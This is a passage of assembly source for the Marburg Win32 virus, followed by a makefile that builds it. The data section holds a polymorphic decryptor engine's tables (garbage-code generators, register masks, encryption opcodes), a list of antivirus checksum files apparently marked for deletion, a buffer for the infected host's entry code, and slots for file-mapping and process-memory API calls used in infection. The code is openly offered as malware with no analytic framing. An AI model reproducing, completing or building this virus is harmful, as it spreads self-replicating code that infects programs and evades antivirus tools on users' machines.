szAvData_00 dd offset szAvData_01 dd offset szAvData_02 dd offset szAvData_03 end_AV_files equ this byte szAvData_00 db "ANTI-VIR.DAT",00h szAvData_01 db "CHKLIST.MS",00h szAvData_02 db "AVP.CRC",00h szAvData_03 db "IVB.NTZ",00h ;Search mask for FindFirstFile and FindNextFile szSearch db "*.*",00h ;Infection time inf_time equ this byte inf_year dw 0000h inf_month dw 0000h inf_dayofweek dw 0000h inf_day dw 0000h inf_hour dw 0000h inf_minute dw 0000h inf_second dw 0000h inf_millisec dw 0000h ;Number of bytes to restore at host entry-point insert_size dd 00000000h ;Initialized data used by the polymorphic engine ;Register table ; ; - Register mask ; - Register flags tbl_regs equ this byte db 00000000b,REG_READ_ONLY ;eax db 00000011b,00h ;ebx db 00000001b,00h ;ecx db 00000010b,00h ;edx db 00000110b,REG_NO_8BIT ;esi db 00000111b,REG_NO_8BIT ;edi db 00000101b,REG_NO_8BIT ;ebp end_regs equ this byte ;Aliases for reg table structure REG_MASK equ 00h REG_FLAGS equ 01h ;Bit aliases for reg flags REG_IS_INDEX equ 01h REG_IS_COUNTER equ 02h REG_READ_ONLY equ 04h REG_NO_8BIT equ 08h ;Initial reg flags tbl_startup equ this byte db REG_READ_ONLY ;eax db 00h ;ebx db 00h ;ecx db 00h ;edx db REG_NO_8BIT ;esi db REG_NO_8BIT ;edi db REG_NO_8BIT ;ebp ;Code that does not disturb reg values tbl_save_code equ this byte clc stc cmc cld std end_save_code equ this byte ;Generators for get_delta tbl_delta_mode equ this byte dd offset delta_method_1 dd offset delta_method_2 dd offset delta_method_3 end_delta_mode equ this byte ;Generators for [reg] indexing mode tbl_idx_reg equ this byte dd offset xx_inc_reg dd offset xx_dec_reg dd offset xx_not_reg dd offset xx_add_reg dd offset xx_sub_reg dd offset xx_xor_reg ;Generators for [reg+imm] indexing mode tbl_dis_reg equ this byte dd offset yy_inc_reg dd offset yy_dec_reg dd offset yy_not_reg dd offset yy_add_reg dd offset yy_sub_reg dd offset yy_xor_reg ;Generators for [reg+reg] indexing mode tbl_xtended equ this byte dd offset zz_inc_reg dd offset zz_dec_reg dd offset zz_not_reg dd offset zz_add_reg dd offset zz_sub_reg dd offset zz_xor_reg ;Generators for [reg+reg+imm] indexing mode tbl_paranoia equ this byte dd offset ii_inc_reg dd offset ii_dec_reg dd offset ii_not_reg dd offset ii_add_reg dd offset ii_sub_reg dd offset ii_xor_reg ;Opcodes for math reg,imm tbl_math_imm equ this byte db 0C0h ;add db 0C8h ;or db 0E0h ;and db 0E8h ;sub db 0F0h ;xor db 0D0h ;adc db 0D8h ;sbb end_math_imm equ this byte ;Magic aliases MAGIC_PUTKEY equ 01h MAGIC_PUTDISP equ 02h MAGIC_ENDSTR equ 0FFh MAGIC_ENDKEY equ 0FEh MAGIC_CAREEBP equ 00h MAGIC_NOTEBP equ 0FFh ;Magic data xx_inc_reg db 0FEh db MAGIC_CAREEBP db 00h db 00h dd offset x_inc_reg_byte dd offset x_inc_reg_word dd offset x_inc_reg_dword xx_dec_reg db 0FEh db MAGIC_CAREEBP db 08h db 00h dd offset x_dec_reg_byte dd offset x_dec_reg_word dd offset x_dec_reg_dword xx_not_reg db 0F6h db MAGIC_CAREEBP db 10h db 00h dd offset x_not_reg_byte dd offset x_not_reg_word dd offset x_not_reg_dword xx_add_reg db 80h db MAGIC_CAREEBP db 00h db MAGIC_PUTKEY dd offset x_add_reg_byte dd offset x_add_reg_word dd offset x_add_reg_dword xx_sub_reg db 80h db MAGIC_CAREEBP db 28h db MAGIC_PUTKEY dd offset x_sub_reg_byte dd offset x_sub_reg_word dd offset x_sub_reg_dword xx_xor_reg db 80h db MAGIC_CAREEBP db 30h db MAGIC_PUTKEY dd offset x_xor_reg_byte dd offset x_xor_reg_word dd offset x_xor_reg_dword yy_inc_reg db 0FEh db MAGIC_NOTEBP db 80h db MAGIC_PUTDISP dd offset x_inc_reg_byte dd offset x_inc_reg_word dd offset x_inc_reg_dword yy_dec_reg db 0FEh db MAGIC_NOTEBP db 88h db MAGIC_PUTDISP dd offset x_dec_reg_byte dd offset x_dec_reg_word dd offset x_dec_reg_dword yy_not_reg db 0F6h db MAGIC_NOTEBP db 90h db MAGIC_PUTDISP dd offset x_not_reg_byte dd offset x_not_reg_word dd offset x_not_reg_dword yy_add_reg db 80h db MAGIC_NOTEBP db 80h db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_add_reg_byte dd offset x_add_reg_word dd offset x_add_reg_dword yy_sub_reg db 80h db MAGIC_NOTEBP db 0A8h db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_sub_reg_byte dd offset x_sub_reg_word dd offset x_sub_reg_dword yy_xor_reg db 80h db MAGIC_NOTEBP db 0B0h db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_xor_reg_byte dd offset x_xor_reg_word dd offset x_xor_reg_dword zz_inc_reg db 0FEh db MAGIC_CAREEBP db 04h db 00h dd offset x_inc_reg_byte dd offset x_inc_reg_word dd offset x_inc_reg_dword zz_dec_reg db 0FEh db MAGIC_CAREEBP db 0Ch db 00h dd offset x_dec_reg_byte dd offset x_dec_reg_word dd offset x_dec_reg_dword zz_not_reg db 0F6h db MAGIC_CAREEBP db 14h db 00h dd offset x_not_reg_byte dd offset x_not_reg_word dd offset x_not_reg_dword zz_add_reg db 80h db MAGIC_CAREEBP db 04h db MAGIC_PUTKEY dd offset x_add_reg_byte dd offset x_add_reg_word dd offset x_add_reg_dword zz_sub_reg db 80h db MAGIC_CAREEBP db 2Ch db MAGIC_PUTKEY dd offset x_sub_reg_byte dd offset x_sub_reg_word dd offset x_sub_reg_dword zz_xor_reg db 80h db MAGIC_CAREEBP db 34h db MAGIC_PUTKEY dd offset x_xor_reg_byte dd offset x_xor_reg_word dd offset x_xor_reg_dword ii_inc_reg db 0FEh db MAGIC_NOTEBP db 84h db MAGIC_PUTDISP dd offset x_inc_reg_byte dd offset x_inc_reg_word dd offset x_inc_reg_dword ii_dec_reg db 0FEh db MAGIC_NOTEBP db 8Ch db MAGIC_PUTDISP dd offset x_dec_reg_byte dd offset x_dec_reg_word dd offset x_dec_reg_dword ii_not_reg db 0F6h db MAGIC_NOTEBP db 94h db MAGIC_PUTDISP dd offset x_not_reg_byte dd offset x_not_reg_word dd offset x_not_reg_dword ii_add_reg db 80h db MAGIC_NOTEBP db 84h db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_add_reg_byte dd offset x_add_reg_word dd offset x_add_reg_dword ii_sub_reg db 80h db MAGIC_NOTEBP db 0ACh db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_sub_reg_byte dd offset x_sub_reg_word dd offset x_sub_reg_dword ii_xor_reg db 80h db MAGIC_NOTEBP db 0B4h db MAGIC_PUTKEY or MAGIC_PUTDISP dd offset x_xor_reg_byte dd offset x_xor_reg_word dd offset x_xor_reg_dword ;Reverse-code strings x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY ;Decryptor styles tbl_styles equ this byte dd offset style_gen_1 dd offset style_gen_2 dd offset style_gen_3 dd offset style_gen_4 dd offset style_gen_5 dd offset style_gen_6 end_styles equ this byte style_gen_1 dd offset gen_get_delta dd offset gen_fix_ptr dd offset gen_load_ctr dd offset gen_decrypt dd offset gen_next_step dd offset gen_next_ctr dd offset gen_loop style_gen_2 dd offset gen_get_delta dd offset gen_load_ctr dd offset gen_fix_ptr dd offset gen_decrypt dd offset gen_next_step dd offset gen_next_ctr dd offset gen_loop style_gen_3 dd offset gen_load_ctr dd offset gen_get_delta dd offset gen_fix_ptr dd offset gen_decrypt dd offset gen_next_step dd offset gen_next_ctr dd offset gen_loop style_gen_4 dd offset gen_get_delta dd offset gen_fix_ptr dd offset gen_load_ctr dd offset gen_decrypt dd offset gen_next_ctr dd offset gen_next_step dd offset gen_loop style_gen_5 dd offset gen_get_delta dd offset gen_load_ctr dd offset gen_fix_ptr dd offset gen_decrypt dd offset gen_next_ctr dd offset gen_next_step dd offset gen_loop style_gen_6 dd offset gen_load_ctr dd offset gen_get_delta dd offset gen_fix_ptr dd offset gen_decrypt dd offset gen_next_ctr dd offset gen_next_step dd offset gen_loop ;Garbage code generators tbl_garbage equ this byte dd offset gen_save_code ;clc stc cmc cld std dd offset g_movreg32imm ;mov reg32,imm dd offset g_movreg16imm ;mov reg16,imm dd offset g_movreg8imm ;mov reg8,imm dd offset g_movregreg32 ;mov reg32,reg32 dd offset g_movregreg16 ;mov reg16,reg16 dd offset g_movregreg8 ;mov reg8,reg8 dd offset g_mathregimm32 ;math reg32,imm dd offset g_mathregimm16 ;math reg16,imm dd offset g_mathregimm8 ;math reg8,imm dd offset g_push_g_pop ;push reg/garbage/pop reg dd offset g_jump_u ;jump/rnd block dd offset g_jump_c ;jump conditional/garbage dd offset g_movzx_movsx ;movzx/movsx reg32,reg16 end_garbage equ this byte ;Original code at host entry point entry_code db BUFFER_EP dup (00h) ;Polymorphic procedures works with byte/word/dword ;We let here a dword to avoid buffer overwrites safety_01 dd 00000000h ;Polymorphic decryptor buffer poly_decryptor db DECRYPTOR_SIZE dup (00h) inf_end equ this byte ;············································································ ;Virus uninitialized data a_Kernel32 dd 00000000h a_User32 dd 00000000h a_GetModuleH dd 00000000h a_GetProcAddr dd 00000000h ;API entry point for each viral function viral_addresses equ this byte a_CreateFile dd 00000000h a_CreateFileMap dd 00000000h a_MapViewOfFile dd 00000000h a_UnmapView dd 00000000h a_CloseHandle dd 00000000h a_FindFirst dd 00000000h a_FindNext dd 00000000h a_FindClose dd 00000000h a_VirtualAlloc dd 00000000h a_GetWindowsDir dd 00000000h a_GetSystemDir dd 00000000h a_GetCurDir dd 00000000h a_SetFileAttr dd 00000000h a_SetFileTime dd 00000000h a_DeleteFile dd 00000000h a_GetCurProc dd 00000000h a_WriteProcMem dd 00000000h a_LoadLibrary dd 00000000h a_GetSysTime dd 00000000h ;Misc variables CreateFile_h dd 00000000h Mapping_h dd 00000000h Search_h dd 00000000h File_Attr dd 00000000h search_raw dd 00000000h original_size dd 00000000h h_icon dd 00000000h dc_screen dd 00000000h ;Data used by the polymorphic engine rnd32_seed dd 00000000h ;Seed for random number generator ptr_disp dd 00000000h ;Displacement from index end_value dd 00000000h ;Index end value delta_call dd 00000000h ;Used into delta_offset routines loop_point dd 00000000h ;Start address of decryption loop crypt_key dd 00000000h ;Encryption key oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword) index_mask db 00h ;Mask of register used as index counter_mask db 00h ;Mask of register used as counter build_flags db 00h ;Some decryptor flags recursive_level db 00h ;Garbage recursive layer ;Decryptor flags aliases CRYPT_DIRECTION equ 01h CRYPT_CMPCTR equ 02h CRYPT_CDIR equ 04h CRYPT_SIMPLEX equ 10h CRYPT_COMPLEX equ 20h ;Buffer to convert file time to system time my_system_time equ this byte time_year dw 0000h time_month dw 0000h time_dayofweek dw 0000h time_day dw 0000h time_hour dw 0000h time_minute dw 0000h time_seconds dw 0000h time_milisec dw 0000h ;Buffer for \WINDOWS and \SYSTEM directories szWorkDir db MAX_PATH dup (00h) ;Data about found files my_FindData db SIZEOF_WIN32_FIND_DATA dup (00h) ;This will be the place for the virus copy mem_end equ this byte ;············································································ virseg ends end host_entry ;············································································ -------->8 cut here --------------------------------------------------------- # Marburg makefile # make -B Will build wap32.exe # make -B -DDEBUG Will build the debug version of wap32.exe NAME = WAP32 OBJS = $(NAME).obj ASMS = $(NAME).asm !if $d(DEBUG) TASMPARAM= /ml /m5 /la /zi TLINKPARAM= -Tpe -c -s -v -ap !else TASMPARAM= /ml /m5 /q /zn TLINKPARAM= -Tpe -c -x -ap !endif !if $d(MAKEDIR) IMPORT=$(MAKEDIR)\..\lib\import32 !else IMPORT=import32 !endif $(NAME).EXE: $(OBJS) $(DEF) tlink32 $(TLINKPARAM) $(OBJS),$(NAME),, $(IMPORT) .asm.obj: tasm32 $(TASMPARAM) $(ASMS)